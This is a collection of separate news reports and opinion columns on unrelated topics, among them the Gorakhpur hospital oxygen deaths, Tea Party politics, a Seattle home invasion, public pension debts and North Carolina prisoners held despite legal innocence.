-Gorakhpur's main state-run hospital withheld every bit of information from parents of infants who died due to shortage of oxygen earlier this month, an India Today investigation has found.  There was a total lack of transparency, no accountability and miscommunication at the city's BRD Medical College and Hospital where 34 infants died one after another on the intervening night of August 10-11, the investigation has discovered.  Overall, a total of 64 babies, many of them encephalitis patients, died at the hospital in Chief Minister Yogi Adityanath's hometown from August 7 to the noon of August 11.  Most deaths - 34 - were reported in a matter of hours between August 10 and 11. "It's a heinous crime if deaths happen because of oxygen shortage," Adityanath had remarked in the aftermath of the tragedy. "It will be a service to humanity, if we present the right facts."  India Today's undercover investigation has unearthed shocking facts.  The probe found how parents were kept in the dark as the infants died at the BRD hospital on the killer night.  NURSES GAVE PARENTS MANUAL AIR BAGS TO PUMP OXYGEN  The parents had little clue about the imminent disaster when nurses unhooked the ventilators and handed manual air bags to the parents to pump oxygen into their children.  India Today's investigative team reached out to Balwant Gupta, the man in-charge of oxygen supplies at BRD on the fateful night on August 10 and 11.  Gupta said, "We had 52 oxygen cylinders. When piped air supplies dropped at 7.30 pm, some other staff replaced them with back-up cylinders. "When I took over (the shift), the entire stock was exhausted by 11.30 pm."  Gupta informed all the staff on duty that the hospital would run out of all oxygen cylinders in a couple of hours. They were told to prepare self-inflating bags for emergency.  But no one shared information about the crisis with the parents. "I don't know what would have happened, if I had disclosed this to the patients (attendants/parents)," he admitted.  Anxious parents, Gupta said, pumped air from the hand-operated device for the next two hours till a new lot of oxygen cylinders arrived.  "The vehicle carrying the oxygen cylinders was running late. It came in at 1.22 am (August 11) and the supply of oxygen resumed at 1.30 am," he recounted.  'INADEQUATE OXYGEN SUPPLY CAUSED DEATHS'  When our reported asked what caused the deaths, Gupta replied, "Inadequate oxygen supply. What else? Supplies should have been adequate. They weren't and that's why patients suffered."  A government inquiry has indicted the then BRD principal Rajeev Mishra, chief anaesthetist Satish Kumar and chief pharmacist Gajanan Jaiswal for the crisis.  Liquid-oxygen vendor Pushpa Sales has also been held responsible for disrupting deliveries over payment issues since August 4.  Top hospital doctors not only sat over oxygen shortage for almost a week, they didn't even respond to SOS calls for hours when the situation demanded, the investigation found.  "The Superintendent-in-Chief called back only in the morning, asking what happened. He said he would come in at 9 am and would hold a meeting with the people concerned," Gupta disclosed.  When our reporter asked Gupta when did he call the superintendent-in-chief, he said, "I called him in the night itself. The call went unanswered. He called back at 7 am."  According to V.K. Chaurasia, spokesman of the BRD Medical College and Hospital, duty staff hustled parents away from the wards when children began to die that night.  "All the parents were moved out so that they didn't come to know their children had died," he confessed. "Parents were moved out. When Dr Kafeel (Khan) arrived, some other doctors were called in to discuss the next course of action. Only then did they start releasing the bodies of (the dead) babies."  But that's not all.  VARIOUS PROTOCOLS ALSO VIOLATED  India Today's investigation found out gross violation of various protocols - from tendering to the procurement of oxygen supplies.  Documents accessed by India Today show the hospital outsourced cylinders from a plant as far as 350 km away - from Imperial Gases Limited in Allahabad.  What is worse, the investigation found that the company could instead have delivered industrial oxygen to the Gorakhpur hospital.  "The deal was signed by the principal himself. He instructed me to carry out his orders. I did inform him (about industrial supplies). But he ignored," insisted Gajanan, the hospital's head pharmacist, who is now under investigation.  Dr A.K. Srivastava, the then chief medical superintendent, directed India Today's team to the exact location of the unit that supplied oxygen cylinders to BRD.  "It (Imperial Gases) has a depot in Faizabad, from where it was delivering supplies to many hospitals", he said.  At Faizabad, the plant's manager confirmed that the unit only produced factory oxygen and not medical.  "See, we cannot produce medical oxygen here. We are not licensed to produce medical oxygen. It involves a lot of formalities", said S.K. Verma, Manager of Imperial Gases' factory in Faizabad. "We keep no stock of it either. We only store industrial (oxygen) for supplies," he added.  ALSO READ |  Gorakhpur deaths: Adityanth govt orders FIR against BRD Hospital employees  Gorakhpur tragedy: Inquiry report blames oxygen supplying firm, 2 doctors  Gorakhpur tragedy effect: Delhi hospitals asked to ensure proper supply of medicines, equipment  WATCH VIDEO: Operation Gorakhpur: Truth behind deaths of infants in BRD hospital
-It is often in the excuses and in the apologies that one finds the real offense. Looking back on the domestic political “surge” which the populist right has been celebrating since last month, I found myself most dispirited by the manner in which the more sophisticated conservatives attempted to conjure the nasty bits away. Here, for example, was Ross Douthat, the voice of moderate conservatism on the New York Times op-ed page. He was replying to a number of critics who had pointed out that Glenn Beck, in his rallies and broadcasts, had been channeling the forgotten voice of the John Birch Society, megaphone of Strangelovian paranoia from the 1950s and 1960s. His soothing message: These parallels are real. But there’s a crucial difference. The Birchers only had a crackpot message; they never had a mainstream one. The Tea Party marries fringe concerns (repeal the 17th Amendment!) to a timely, responsible-seeming message about spending and deficits.  The more one looks at this, the more wrong it becomes (as does that giveaway phrase “responsible-seeming”). The John Birch Society possessed such a mainstream message—the existence of a Communist world system with tentacles in the United States—that it had a potent influence over whole sections of the Republican Party. It managed this even after its leader and founder, Robert Welch, had denounced President Dwight D. Eisenhower as a “dedicated, conscious agent” of that same Communist apparatus. Right up to the defeat of Barry Goldwater in 1964, and despite the efforts of such conservatives as William F. Buckley Jr. to dislodge them, the Birchers were a feature of conservative politics well beyond the crackpot fringe. Now, here is the difference. Glenn Beck has not even been encouraging his audiences to reread Robert Welch. No, he has been inciting them to read the work of W. Cleon Skousen, a man more insane and nasty than Welch and a figure so extreme that ultimately even the Birch-supporting leadership of the Mormon Church had to distance itself from him. It’s from Skousen’s demented screed The Five Thousand Year Leap (to a new edition of which Beck wrote a foreword, and which he shoved to the position of No. 1 on Amazon) that he takes all his fantasies about a divinely written Constitution, a conspiratorial secret government, and a future apocalypse. To give you a further idea of the man: Skousen’s posthumously published book on the “end times” and the coming day of rapture was charmingly called The Cleansing of America. A book of his with a less repulsive title, The Making of America, turned out to justify slavery and to refer to slave children as “pickaninnies.” And, writing at a time when the Mormon Church was under attack for denying full membership to black people, Skousen defended it from what he described as this “Communist” assault. So, Beck’s “9/12 Project” is canalizing old racist and clerical toxic-waste material that a healthy society had mostly flushed out of its system more than a generation ago, and injecting it right back in again. Things that had hidden under stones are being dug up and re-released. And why? So as to teach us anew about the dangers of “spending and deficits”? It’s enough to make a cat laugh. No, a whole new audience has been created, including many impressionable young people, for ideas that are viciously anti-democratic and ahistorical. The full effect of this will be felt farther down the road, where we will need it even less. I remember encountering this same mentality a few years ago, when it was more laughable than dangerous. I didn’t like Bill Clinton: thought he had sold access to the Lincoln Bedroom and lied under oath about sexual harassment and possibly even bombed Sudan on a “wag the dog” basis. But when I sometimes agreed to go on the radio stations of the paranoid right, it was only to be told that this was all irrelevant. Didn’t I understand that Clinton and his wife had murdered Vince Foster and were, even as I spoke, preparing to take advantage of the Y2K millennium crisis—remember that?—in order to seize power for life and become the Nicolae and Elena Ceauşescu of our day? These people were not interested in the president’s actual transgressions. They were looking to populate their fantasy world with new and more lurid characters.  There is an old Republican saying that “a government strong enough to give you everything you want is strong enough to take away everything you have.” This statement contains an essential truth that liberals have no right to overlook. But it is negated, not amplified, if it comes festooned with racism and superstition. In the recent past, government-sponsored policies of social engineering have led to surprising success in reducing the welfare rolls and the crime figures. This came partly from the adoption by many Democrats of policies that had once been called Republican. But not a word about that from Beck and his followers, because it isn’t exciting and doesn’t present any opportunity for rabble-rousing. Far sexier to say that health care—actually another product of bipartisanship—is a step toward Nineteen Eighty-Four. Ten percent unemployment, on the other hand, is rather a disgrace to a midterm Democratic administration. But does anybody believe that unemployment would have gone down if the hated bailout had not occurred and GM had been permitted to go bankrupt? Why not avoid the question altogether and mutter about a secret plan to proclaim a socialist (or Nazi, or Jew-controlled: take your pick) dictatorship? Again, there is a real debate about the pace and rhythm of global warming, and about the degree to which it has been caused (or can be slowed) by human activity. But at the first Tea Party rally I attended, at the Washington Monument earlier this year, the crowd—bristling with placards about the Second Amendment’s being the correction—was treated to an arm-waving speech by a caricature English peer named Lord Monckton, who led them in the edifying call-and-response: “All together. Global warming is?” “Bullshit.” “Obama cannot hear you. Global warming is?” “bullshit.” “That’s bettah.” I don’t remember ever seeing grown-ups behave less seriously, at least in an election season.
-0 Seafair icon victim of Seattle home invasion  SEATTLE - Seattle police are investigating a home invasion robbery at the home of a local Seafair icon.  Police say an 84-year-old man was held at gunpoint by two men wearing ski masks, who they say kicked the older man when he was thrown to the ground in a scuffle.  Neighbors say the $488,000 home is owned by Sven Ellstrom, the owner of Ellstrom Manufacturing.  He’s also known locally for racing his hydroplanes at the annual Seafair.  Police say the men broke into the back of the home around 11:45 p.m. on Tuesday night.  Police say the men made off with a Rolex watch, a diamond ring and the purse of a 51-year-old woman with whom Ellstrom was sleeping at the time of the home invasion.  Some of the items found laying in the middle of the street about a block away.  Neighbors told KIRO 7 that this is not the first time Ellstrom’s home has been broken into.  Seattle police confirmed that Ellstrom was tied up and robbed at gunpoint in February of 2013.  A neighbor told KIRO 7 his own home was broken into last year a week earlier than Ellstrom's, but he says the robbers left everything alone when they realized it was not Ellstrom’s home.  "Hopefully it'll stop from this point, because it's scary. It's scary,” he said of the situation.  The neighbor says he’s also concerned about people coming and going from the house.  "A lot of unwanted activity. Cars pulling up. Females going in and out all times of the night. Cabs and limos," he described it.  He says he hopes this is the end of robbers at Ellstrom’s home.  "He could lose his life if this happens again. I'm afraid they might kill him next time. I don't know,” he said.  Anyone with information about the home invasion or who may know the identities or whereabouts of the intruders is asked to call 911 or the Seattle police robbery unit at 206-684-5535. Anonymous tips are welcome.  Want to talk about the news of the day? Watch free streaming video on the KIRO 7 mobile app and iPad app, and join us here on Facebook.
-Director of NIST: Disclosure of WTC7 data "might jeopardize public safety"  http://cryptome.org/nist070709.pdf  FINDING REGARDING PUBLIC SAFETY INFORMATION  Pursuant to Section 7(d) of the National Construction Safety Team Act, I hereby find that the disclosure of the information described below, received by the National Institute of Standards and Technology ("NIST"), in connection with its investigation of the technical causes of the collapse of the World Trade Center Towers and World Trade Center Building 7 on September 11,2001, might jeopardize public safety. Therefore, NIST shall not release the following information:  1. All input and results files of the ANSYS 16-story collapse initiation model with detailed connection models that were used to analyze the structural response to thermal loads, break element source code, ANSYS script files for the break elements, custom executable ANSYS file, and all Excel spreadsheets and other supporting calculations used to develop floor connection failure modes and capacities.  2. All input files with connection material properties and all results files of the LS-DYNA 47-story global collapse model that were used to simulate sequential structural failures leading to collapse, and all Excel spreadsheets and other supporting calculations used to develop floor connection failure modes and capacities.  ~  Patrick Gallagher Director National Institute of Standards and Technology  Dated: JUL 09 2009
-A police bungle meant officers weren’t sent to tackle a gang of naked youngsters rampaging through Cowdenbeath last weekend.  Scared members of the public who watched the events unfold in the town’s public park called the police, to no avail.  Instead the gang continued themayhem unabated, setting fire to a wheelie bin and sneering at firefighters sent out to tackle the blaze.  The incident has seen ChiefSuperintendent Alan Spiers admit that “regrettably” the calls received at the police control room had not been logged correctly and local officers were notdispatched.”  Local MSP Alex Rowley questioned the effectiveness of having a police control centre miles away across the Forth.  Fife’s Glenrothes-based controlcentre closed last month and now calls are dealt with by staff in Bilston Glen.  “We were told that there would be no detrimental impact from the closureof the Fife control centre with theoperations being moved to a centre on the outskirts of Edinburgh in a move to save money.”  The Cowdenbeath MSP has written to Chief Superintendent Garry McEwan, asking him to investigate how the police responded to the incident.  “The level of behaviour in the park that local residents have to deal with is completely unacceptable and I amtaking this up with the local station in Cowdenbeath.  “But the failure of the control centre to respond is an extra worry.  “Some residents tell me they were told ‘the police don’t put out fires’ whichis just not the response they werelooking for when reporting anti-social behaviour, vandalism and fire-raising.”  Local community inspector Hannah Morrison stressed local officersdid appreciate anti-social issues inJohnston Park and Leuchatsbeath Drive, bordering the park, and were working to resolve them.  Additional patrols have been carried out by community officers and wardens over the last few weekends.  These will continue on Friday andSaturday nights for the foreseeable future to deter youngsters, she added.  Regular visits will also be made to local licensed premises to identify the issue of proxy sales of alcohol to young people.
-They call them "boomerangs." They're primarily 20- or 30-somethings who grew up in Traverse City, then ran away to seek their fortunes elsewhere as soon as they could. After all, unless they owned or worked in a hospitality business, there was just no place for them in a resort town.  Now, those boomerangs are coming back.  Many of these marketing, Web design or information technology people missed northern Michigan — and, because the technology allows it, they can live wherever they want.  These entrepreneurs are finding each other now in Traverse City. Go to a coffee shop in downtown called Brew, and scores are hunched over laptops, designing websites, coding, running social media, even composing music for clients nationwide. They also connect through social media "tweetups" or "geek breakfasts" or in new "co-working" spaces, where they network, socialize and barter their services.  Erin Monigold, 29, is among them. She launched Social Vision Marketing in Traverse City in 2010 after having been laid off from a larger marketing firm.  "It was really when social media was starting to take off a lot," Monigold said, "and it seemed like a lot of small businesses in the area really needed some help to try to do it right, needed help to try to get the word out about their business."  Monigold also saw the potential to use social media to create more of a sense of community among the hundreds of scattered freelancers and small-business owners in Traverse City. She launched the Traverse City Tweetup, which attracts hundreds of freelancers in the area to monthly meetings, and the Traverse City Geek Breakfast, where tech professionals gather monthly to exchange ideas and services.  Part of it, Monigold said, is generational — a need for younger people to define their own careers, because nothing seems as certain as it was for their parents, many of whom worked for the same company for 30 years or more.  Michael Kent grew up in Traverse City, then left for a job in the service industry in Chicago and Ann Arbor. He quickly grew tired of it and returned to Traverse City with his wife, Brooke Allen, to follow their real passion.  They launched Allen-Kent Photography, which also designs websites.  "I've been excited about the fact that maybe there isn't a huge tech community here like downstate or Grand Rapids or Chicago, but I see one coming, and we can be part of that," Kent said. "We have this little nexus through the tech community where, maybe it's not like Silicon Valley, but we've got all these tiny little tech firms that are just our friends."  Kristin Fehrman, director of marketing at Ozmott LLC, which develops apps for iPhones and Android phones, ran as fast as she could to Silicon Valley after leaving Traverse City. She returned this year because she wanted to take charge of her own career and do it from a place she loves.  It is a trend that appears to be specific to Traverse City, said Rob Fowler president and CEO of the Small Business Association of Michigan.  "I think, more and more, people choose the lifestyle and either start a business or become that free agent where they may have three or four different clients," Fowler said. "They can do it from anywhere in the world, and they choose to do it from Traverse City."  These people also do not want to become part of the hospitality industry that defines Traverse City. They come here specifically to fill niches for growing second-stage companies.  "I think what we're seeing is that's really creating a demand for a CFO for a day, a CIO for the day," Fowler said. "Not a week, but one day a week, until we need them two days a week and until we grow into it."  And, Fowler said, they're coming en masse to Traverse City, although his group does not yet have any survey figures for it.  Apart from the lifestyle of the region, another reason it's happening in this particular place is Michigan native Michael Moore, the documentary filmmaker who has helped make Traverse City hip through his work fixing up downtown and launching film and comedy festivals.  "Regardless of what you think of his politics, Michael Moore made a really good statement about this area. He said this area is going to die if people do not start taking the younger generation into account," said Kevin Reeves, a musical composer who went away to Nashville for a time, then came back to Traverse City, where he grew up, in 2009. Reeves said he came back to a very different city from the one he left just a few years before.  Chad Rickman, who does Web development for Traverse City-based Hagerty Insurance as well as freelance work, credited Moore with helping create the cultural climate needed to get younger entrepreneurs to come back.  It's that kind of energy that Bradley Matson, 28, hopes to tap into as he opens his CoWharf Coworking space, which had its grand opening last week in downtown Traverse City.  "We don't see Traverse City becoming the next Silicon Valley. That's unrealistic," said Matson, who invested about $20,000 into the co-working space. "But we do see Traverse City as being a hub for an event, like Austin South by Southwest," a reference to the annual film and technology event in Texas.  "That's feasible here for summers when people come here anyway," he said. "Get the geeks a little more color. Why not?"  Matson is helping plan a "Startup Weekend" next year just before the Traverse City Film Festival at the end of July.  Matson is a "boomerang" himself, having moved to Arizona for a while to pursue a career, then coming back to Traverse City with his wife, Kirsten, to open CoWharf while still telecommuting to his old job.  They needed about 12 people to get the co-working space off the ground. They have 30 signed up so far, primarily graphic designers, programmers, photographers and writers.  Tres Brooke, 41, an emergency management consultant who telecommutes to his East Lansing-based company, Cema, is giving CoWharf a try. It's better, he said, than working in isolation at his home.  "We communicate with each other more than ever now; we're accessible from anywhere, anytime; and yet we're all starting to work at home and work in isolation increasingly," Brooke said. "And I'm starting to go a little stir crazy.  "I crave interacting with other people and sharing ideas. I'm a very expressive and intuitive person, so I have to be around other people. Otherwise, I'll just kind of go nuts after a while."
-Is there a more syrupy genre than the commencement speech? Having had the opportunity to deliver one in person, I can report that once you accept the honor and present yourself, becapped and begowned, in front of the newly minted grads, you are already poised and primed to lie. Anything else would be a stretch: You would have to be a meanie to tell these plump youngsters anything resembling the truth, which is always too thorny and complicated and dark to deliver while Mom and Dad are beaming from the back rows, awaiting the celebratory graduation lunch.  And so this week, as school comes to an end, I want to deliver a different kind of address, not to those leaving college with pomp and circumstance at their backs but to those bedraggled souls staying behind. You young scholars are Rapunzeled atop the Ivory Tower for some years to come and so could benefit from a dispatch that has little of the swishy beauty of the commencement speech but is more accurate and direct. Here it is, short and unadorned: Things on the quad are pretty grim.  I’ll spare you the outrage over trigger warnings and micro-aggressions and the other forms of butchery the barbarians inside the universities’ gates perpetrate daily against free inquiry, free speech, and other expressions of liberty. Instead, I wish to speak to and about that most at-risk population currently on campus: young Jews.  You hardly need me, friends, to tell you that anti-Semitism on American campuses is spiking; half of you, according to a recent report, personally experienced or witnessed it firsthand. What you may need is a solid bit of advice about what to do—what to do when fellow students send mock eviction notices to your dorm; what to do when a professor opines that “justice and freedom for the Palestinians is incompatible with the existence of the state of Israel”; what to do when even the most genial of your peers fail to understand why you would ever consider supporting Zionism when it, by seemingly universal consensus, is little more than a colonialist, racist, oppressive ideology that is better eradicated than understood.  I can answer this question, not only because I’ve spent the lion’s share of the past two decades on college campuses—first as a graduate student, then as a professor—but also because I’ve been terribly, horribly, utterly wrong about it before, earning me, I hope, the sort of wisdom that comes only from repentance. In 2004, working as a journalist for another Jewish publication and struggling with my doctoral dissertation at Columbia University, I was invited to watch a documentary film that alleged widespread and systemic anti-Israeli bias among some of the university’s professors of Middle Eastern studies, a bias that sometimes festered into outright intimidation. Being a lifelong member of the Israeli left and a collegial sort of chap, I hesitated little before choosing sides. The Jewish students who made and appeared in the film seemed to me shrill and dogmatic, while the professors they were accusing, sharply dressed purveyors of intoxicating ideas, struck me as what I myself wanted to one day become. I wrote against the Jewish students with all the spume only the young and absolutely convinced can produce. Names were called. Emotions ran high.  Now that I’ve gained some experience and perspective—helped, I should gratefully say, by some of those with whom I sparred a decade ago and who are now my dear friends—I’m happy to look back and report that my mistake was based on two assumptions. The first was that Israel’s critics on campus, however vocal, were primarily interested in polite exchanges of well-reasoned positions; the second, following closely, dictated that the best way to proceed when confronted with criticism was to be a good academic and present the facts in an orderly and cogent way.  Sadly, dear not-yet-graduates, neither of these assumptions turned out to be correct. While you may stumble upon a scrum of folks interested in having what you’ll recognize as an honest debate—and when you do, kindly buy them a cup of coffee and cherish the pleasures of genuine intellectual discussion, which is among the world’s rarest and sweetest treats—the majority of anti-Israel sentiments you’ll experience are impervious to reason and oblivious of facts. This being college, it’s unlikely that the hysterics you encounter will admit their hate; rather, they’ll wrap it in useful theories, telling you that any support of Israel violates the tenets of post-colonialist, post-modernist, late-capitalist, neo-Marxist dogma. Having whipped out these intellectual bona fides the way cops in bad action films ludicrously hold up their badges as they move in for some dramatic bust, the anti-Israel crowd will then descend from Mount Jargon and offer up an attempt at human connection: Look, they’ll tell you, we’re not anti-Semitic, we’re just anti-Zionist. As if opposing the Jewish right to have a sovereign national homeland, while actively advocating for another nation to enjoy the very same right, isn’t just another form of irrational hatred. As if arguing that Jews and Jews alone had no right to self-determination was somehow more complicated than rank bigotry. As if objecting to Israel’s policies somehow made it OK to deny it the right to exist.  When confronted with this hateful drivel, then, don’t bother trying to come up with some clever retort. Instead, do what anyone should when accosted by a hate group: attack, attack, attack.  Others smarter and more experienced than me have been saying the same thing for a long time now, but, sadly, few of you, still-students, and even fewer adults in the larger organizational Jewish world are paying attention. Too often, we respond to hate the way a hapless nerd might respond to the bully about to stuff him into a locker, with some sad mixture of pride in our intellectual superiority and desperate attempt to be liked no matter what. Memories of your own days in high school, dear students, are still fresh, and so you know that charm and brains don’t matter much to bullies. The only way to stop bullies is to fight them.  On campus, this means three things. First, stop apologizing. Right now. You may be critical of certain aspects of Israel’s policy; if you’re not, you should march right into your university’s bursar’s office and demand a refund, as you’ve clearly failed to exercise your capacity for critical thinking in any meaningful way. But despite of these complexities, or maybe precisely because of them, you have much to be proud of: proud of being Jewish, proud of Israel, and proud of understanding the nuanced yet indispensable connection between the two. Start out by finding people who are just as proud, and cultivate a community predicated on faith, joy, candor, and all the other things that make life rich and nurturing.  Once you do that, you’ll discover that the old adage is true: Haters are indeed going to hate. Do not try to debate them or appease them or engage them in any sort of feel-good exercise. Instead, drag their bigotry into the light and make them pay for it. Force those who fail to condemn the atrocities of Hamas, those who believe that the Jews are somehow to blame for the rage of the maniacs who repeatedly rise to murder them, and those who defile history and morality by comparing Israel to Apartheid-era South Africa or to Nazi Germany to explain their hateful positions, and then explain why anyone so disdainful of reason and so devoid of empathy, decency, and common sense should have a place in any American institution of higher learning. Be like the shark in that Woody Allen joke, always moving, always ready to bare its teeth.  When you do, remember the final and most important piece of advice: No matter how relentless the adversity you face on campus, there’s a whole wide world out there that truly, blissfully, cares very little about the ideological battles you fight every day. These people are your natural allies. If you want them to take your side, don’t scare them with bluster or turn them off with self-righteousness. Instead, find funny and creative ways to make them see the absurdity of being denied the right to celebrate your identity by the same people consumed with celebrating every other expression of identity or the outrage of being subjected to hate speech in an environment allegedly devoted to the calm and unfettered exchange of ideas. Counter the bigots’ display of intolerance and fear with a better one of humor and hope, and let well-balanced people on campus decide which side is more appealing. As activists from Siberia to the Maldives have shown us, there’s no better way to combat hate and oppression.  Which, dear still-here-students, is very good news. The haters may be vile and they may be many, but they’re not the majority, not on campus and certainly not in the outside world. You haven’t yet had a chance to attend your 20th college reunion, but trust me when I tell you that the bullies, in the long run, never come out on top. They are always crushed by people like you, people who are proud of who they are, who strike back when put down, who believe in liberty and in justice, who would rather build than destroy, and who know that there’s no greater joy and privilege out there, before or after graduation, than fighting for what’s so clearly right.  ***  Like this article? Sign up for our Daily Digest to get Tablet Magazine’s new content in your inbox each morning.  Liel Leibovitz is a senior writer for Tablet Magazine and a host of the Unorthodox podcast.
-In a ceremony held in the Washington headquarters of the World Bank on Monday, Israel, Jordan and the Palestinian Authority will sign an agreement green-lighting the construction of Red Sea-Dead Sea pipeline, Yedioth Ahronoth journalist reported.  The Red Sea–Dead Sea Conduit also known as the Two Seas Canal will carry some 100 million metric cubes of water to the north annually, thus hopefully slowing down the process Dead Sea's desiccation. As part of the cooperation, a joint water purification plant will be formed and Israelis, Jordanians and Palestinians will share the water.  Related stories:  Israeli Energy Minister Silvan Shalom – who is also the minister for regional cooperation and infrastructure minister – will represent Israel in the signing ceremony, and will be joined by both Jordanian and Palestinian water ministers. "This is a historical agreement," Shalom said, adding it was a "dream come true."  The pipeline's projected route  According to the agreement, some 200 million metric cubes of water will be pumped from the Read Sea annually, some 80 million of which will be desalinated in a special facility to be built in Aqaba, Jordan; 30-50 million cubic meters will be allocated to Israel for usage in the Arava and Eilat.  The Jordanians will receive 30 million cubes for their own southern region and an additional 50 million cubes of grey-water from the Kinneret for the north.  Dead Sea (Photo: Tomriko)  As part of the agreement's negotiations, the Palestinians requested a foothold in the northern part of the dead see, in the Ein Pushka area, but Israel refused. In stead, the Palestinian Authority will receive some 30 million cubes from the Kinneret – either desalinated water or grey-water at production cost – which will increase water supplies for West Bank residents.  The entirety of the pipeline will be laid in Jordan, thus circumnavigating issues raised by environmental organizations in Israel. Baring unexpected delays, the construction of the pipeline and purification facility will be completed within four to five years.  The full story was published in Monday's Yedioth Ahronoth  Nahum Barnea is a senior Yedioth Ahronoth correspondant  Follow Ynetnews on Facebook and Twitter
-In the distant horizon, a giant wave is building. There are some who recognized the swell and raised the alarm. There are others who deny the possibility of such a wave. Most remain blissfully unaware. The wave is building and when it reaches our shores, it will hit with the force of a tsunami.  The wave is propelled by government spending and crested with unfunded pension obligations. The Pew Center on the States wrote in The Trillion Dollar Gap (February 2010), “A $1 trillion gap exists between the $3.35 trillion in pension, health care and other retirement benefits states have promised their current and retired workers as of fiscal year 2008 and the $2.35 trillion they have on hand to pay for them.”  Like any tsunami, the wave began long ago and very far out to sea. Thirty years ago the vast majority of union workers were in the private sector. Public employees in unions reached parity with private sector members by 2009. This was aided in part by campaign contributions from the unions to elect Democratic Party candidates and generous pay packages and retirement plans passed by those same politicians in return.  By 2010, the general public received a series of shocks. The first shock was the jobless recovery of the Great Recession that cost 8 million jobs. Most of the job losses occurred in the private sector yet the majority of the $800 billion Stimulus Bill went to “save and create” public sector employment. The second shock was learning that civil servants earned twice that of private workers. According to the Bureau of Economic Analysis, Federal workers received average pay and benefits of $123,049 while private workers made $61,051 in total compensation. The third shock was revelation of incredible retirement plans doled out by politicians since 1999. In 2002, California passed SB 183 that allowed police and safety workers to retire after 30 years on the job with 3% of salary for each year of service, or 90% of their last year’s pay. During the Great Recession, fireman began retiring with $150,000 pensions at age 52 despite a life expectancy approaching 80. In Orange County CA, lifeguards, deemed safety workers, retired with $147,000 annual pensions. The Orange County sheriff, recently convicted of witness tampering, will receive $215,000 annually while in jail. Bob Citron, the Treasurer of Orange County who pushed the county into bankruptcy in the 1990s, receives a pension of $150,000 per year. A tsunami of anger and resentment is building.  As the wave approaches, economists issue thick reports with ominous names like “The Gathering Storm” (Reason Foundation) advising us that the pension obligations we have created are unsustainable. They report cities and states cannot economically allow workers to retire at 52 when they have a life expectancy of 26 years of retirement. They simply cannot pay for these pensions with existing revenue. Services will go down and taxes will go up to pay for these generous pension obligations. Orange County’s CEO, Thomas G. Mauk, predicted that pension requirements in 2014 will take 84% of the county’s law enforcement payroll. It is already 50% today. To exacerbate the problem, The Great Recession forced most states into budget deficits as their revenues decline. For FY2010, every state except Montana and North Dakota has projected a budget deficit. (RedState 3/21/2010).  California once again leads the nation with a $26 billion budget deficit plus an unfunded pension obligation of $500 billion. Its current financial structure is clearly unsustainable. It has an operational structure that in ungovernable with often duplicative agencies, some collecting less in tax revenue than the agencies spend on collection. Wikipedia lists 500 existing public agencies for the State of California. California can no longer afford such a luxury. It must deconstruct these bloated inefficient government agencies, and rid itself of their chairman, staff, offices, cars, pensions and the overhead that such excess represents. A $26 billion dollar deficit is not something that can be corrected with a wage freeze or job furloughs. Bold leadership can lead California to deconstruct its 500 agencies down to 100 functional organizations. California is a classic example of what must change in the coming Great Deconstruction.  One Orange County city has already taken bold steps to correct its $10 million deficit. It may be a model for other cities and states across the country. Internally, it has decided it will not replace any city worker that dies, retires, moves or quits. The city will simply out source the employment to an outside service company and eliminate healthcare requirements and unsustainable pensions. Building inspectors will be out sourced as will city plan checkers, librarians and meter maids. Only essential services like top executives and cops will remain on the city payroll. The city staff will eventually decrease from 220 to approximately 35 personnel. This is the essence of deconstruction.  At the state and local level, the Great Deconstruction has already begun albeit delayed by an infusion of federal stimulus dollars and grants in 2009 and 2010. The federal government must deconstruct as well. It must happen, if only because the revenue is no longer there to sustain all of these often well-intentioned programs. The federal government will not be immune from fiscal reality.  In this sense, the election in November will be a referendum on the very sustainability of our system of government. One party will continue to borrow and spend in order to maintain the 500 agencies in California and the abundance of federal programs. They have not said how long they will be able to borrow money to sustain their system. The other party will try to simply turn off the spigot - now. Either way, one day the money will run out and the inevitable deconstruction will occur.  ***************************************************  The Great Deconstruction is a series written exclusively for New Geography. Future articles will address the impact of The Great Deconstruction at the national, state, county and local levels.  Robert J. Cristiano PhD is the Real Estate Professional in Residence at Chapman University in Orange County, CA and Director of Special Projects at the Hoag Center for Real Estate & Finance. He has been a successful real estate developer in Newport Beach California for twenty-nine years.  Other works in The Great Deconstruction series for New Geography  An Awakening: The Beginning of the Great Deconstruction – June 12, 2010  The Great Deconstruction :An American History Post 2010 – June 1, 2010  The Great Deconstruction – First in a New Series - April 11, 2010  Deconstruction: The Fate of America? – March 2010
-Spread the love  Justice Department officials said it is not their job to notify prisoners that they might be incarcerated for something that they now concede is not a crime.  Elizabethtown, NC – There are over 60 people sitting in jail in North Carolina right now despite the fact that they have been declared innocent in court, according to a recent USA Today investigation. Some of the prisoners are totally unaware of the legal status of their case and don’t even know that they have been declared innocent, so many of them are not even fighting for their freedom.  The investigation found dozens of cases where men have been sent to jail for nonviolent gun possession offenses, yet it was not illegal for them to have a gun. All of the cases in question result from a legal misunderstanding that has allowed police and prosecutors to throw people in jail for exersizing their right to bear arms.  It is a federal crime for felons to possess firearms, and while all of the men arrested under these laws did have criminal records, they were not technically felons. This detail was specifically codified after the cases in question were decided, so as far as the court is concerned, the prisoners were still guilty of a crime.  USA today reports:  Justice Department officials said it is not their job to notify prisoners that they might be incarcerated for something that they now concede is not a crime. And although they have agreed in court filings that the men are innocent, they said they must still comply with federal laws that put strict limits on when and how people can challenge their convictions in court.  The courts are now afraid to overturn the rulings because then they would be setting a precedent for other inmates to challenge their own imprisonment.  “We can’t be outcome driven. We’ve got to make sure we follow the law, and people should want us to do that. [We are] looking diligently for ways, within the confines of the law, to recommend relief for defendants who are legally innocent,” Anne Tompkins, the U.S. attorney in Charlotte told reporters.  However, many legal experts are saying that the government has a responsibility to overturn these rulings and inform the prisoners about the status of their cases.  “If someone is innocent, I would think that would change the government’s reaction, and it’s sad that it hasn’t. I have trouble figuring out how you rationalize this. These are innocent people. That has to matter at some point,” Debra Graves, an assistant federal public defender in Raleigh said.  Sadly the rusty cogs of the bureaucracy turn at such a rate that “justice” is a but a pipe dream for most. The system would rather keep innocent people locked away than admit a mistake.  John Vibes is an author, researcher and investigative journalist who takes a special interest in the counter culture and the drug war. In addition to his writing and activist work he organizes a number of large events including the Free Your Mind Conference, which features top caliber speakers and whistle-blowers from all over the world. You can contact him and stay connected to his work at his Facebook page. You can find his 65 chapter Book entitled “Alchemy of the Timeless Renaissance” at bookpatch.com.
